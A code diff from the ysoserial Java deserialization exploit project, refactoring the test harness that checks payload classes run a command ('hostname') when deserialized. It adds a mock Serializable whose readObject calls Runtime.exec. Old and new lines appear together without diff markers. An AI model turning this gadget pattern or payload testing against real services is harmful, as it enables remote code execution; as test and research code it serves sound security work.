String command = "hostname";
Dependencies depsAnn = payloadClass.getAnnotation(Dependencies.class);
String[] deps = depsAnn != null ? depsAnn.value() : new String[0];
public static void testPayload(final Class<? extends ObjectPayload<?>> payloadClass, final Class[] addlClassesForClassLoader) throws Exception {
final String command = "hostname";
final String[] deps = Dependencies.Utils.getDependencies(payloadClass);
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
final byte[] serialized = sm.wrap(new Callable<byte[]>(){
public byte[] call() throws Exception {
ObjectPayload<?> payload = payloadClass.newInstance();
final Object f = payload.getObject(command);
final byte[] serialized = Serializables.serialize(f);
return Serializer.serialize(f);
}});
try {
deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
Object deserialized = sm.wrap(new Callable<Object>(){
public Object call() throws Exception {
return deserializeWithDependencies(serialized, deps, addlClassesForClassLoader);
}
});
Assert.fail(ASSERT_MESSAGE); // should never get here
} catch (Throwable e) {
// hopefully everything will reliably nest our ExecException
@@ -75,13 +84,11 @@ public class PayloadsTest {
Assert.assertEquals(ExecException.class, innerEx.getClass());
Assert.assertEquals(command, ((ExecException) innerEx).getCmd());
}
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
}
@SuppressWarnings({ "unchecked" })
private static void deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception {
// special case for using TemplatesImpl gadgets with a SecurityManager enabled
System.setProperty(DESERIALIZE_TRANSLET, "true");
private static Object deserializeWithDependencies(byte[] serialized, final String[] dependencies, final Class<?>[] classDependencies) throws Exception {
File[] jars = dependencies.length > 0 ? Maven.resolver().resolve(dependencies).withoutTransitivity().asFile() : new File[0];
URL[] urls = new URL[jars.length];
for (int i = 0; i < jars.length; i++) {
@@ -93,54 +100,14 @@ public class PayloadsTest {
byte[] classAsBytes = ClassFiles.classAsBytes(clazz);
defineClass(clazz.getName(), classAsBytes, 0, classAsBytes.length);
}
byte[] deserializerClassBytes = ClassFiles.classAsBytes(DeserializerThunk.class);
defineClass(DeserializerThunk.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
byte[] deserializerClassBytes = ClassFiles.classAsBytes(ysoserial.Deserializer.class);
defineClass(ysoserial.Deserializer.class.getName(), deserializerClassBytes, 0, deserializerClassBytes.length);
}};
Class<?> deserializerClass = isolatedClassLoader.loadClass(DESER_THUNK_CLASS);
Class<?> deserializerClass = isolatedClassLoader.loadClass(ysoserial.Deserializer.class.getName());
Callable<Object> deserializer = (Callable<Object>) deserializerClass.getConstructors()[0].newInstance(serialized);
final Object obj = deserializer.call();
}
// make sure test harness fails properly
@Test
public void testHarnessExecFail() throws Exception {
try {
testPayload(NoopMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
}
}
// make sure test harness fails properly
@Test
public void testHarnessClassLoaderFail() throws Exception {
try {
testPayload(ExecMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
}
}
// make sure test harness passes properly with trivial execution gadget
@Test
public void testHarnessExecPass() throws Exception {
testPayload(ExecMockPayload.class, new Class[] { ExecSerializable.class });
}
public static class ExecMockPayload implements ObjectPayload<ExecSerializable> {
public ExecSerializable getObject(String command) throws Exception {
return new ExecSerializable(command);
}
}
public static class NoopMockPayload implements ObjectPayload<Integer> {
public Integer getObject(String command) throws Exception {
return 1;
}
return obj;
}
}
+66
View File
@@ -0,0 +1,66 @@
package ysoserial.payloads;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import org.hamcrest.CoreMatchers;
import org.junit.Assert;
import org.junit.Test;
public class TestHarnessTest {
// make sure test harness fails properly
@Test
public void testHarnessExecFail() throws Exception {
try {
PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>"));
}
}
// make sure test harness fails properly
@Test
public void testHarnessClassLoaderFail() throws Exception {
try {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
Assert.fail("should have failed");
} catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
}
}
// make sure test harness passes properly with trivial execution gadget
@Test
public void testHarnessExecPass() throws Exception {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class });
}
public static class ExecMockPayload implements ObjectPayload<ExecMockSerializable> {
public ExecMockSerializable getObject(String command) throws Exception {
return new ExecMockSerializable(command);
}
}
public static class NoopMockPayload implements ObjectPayload<Integer> {
public Integer getObject(String command) throws Exception {
return 1;
}
}
@SuppressWarnings("serial")
public static class ExecMockSerializable implements Serializable {
private final String cmd;
public ExecMockSerializable(String cmd) { this.cmd = cmd; }
private void readObject(final ObjectInputStream ois) {
try {
Runtime.getRuntime().exec("hostname");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
}
}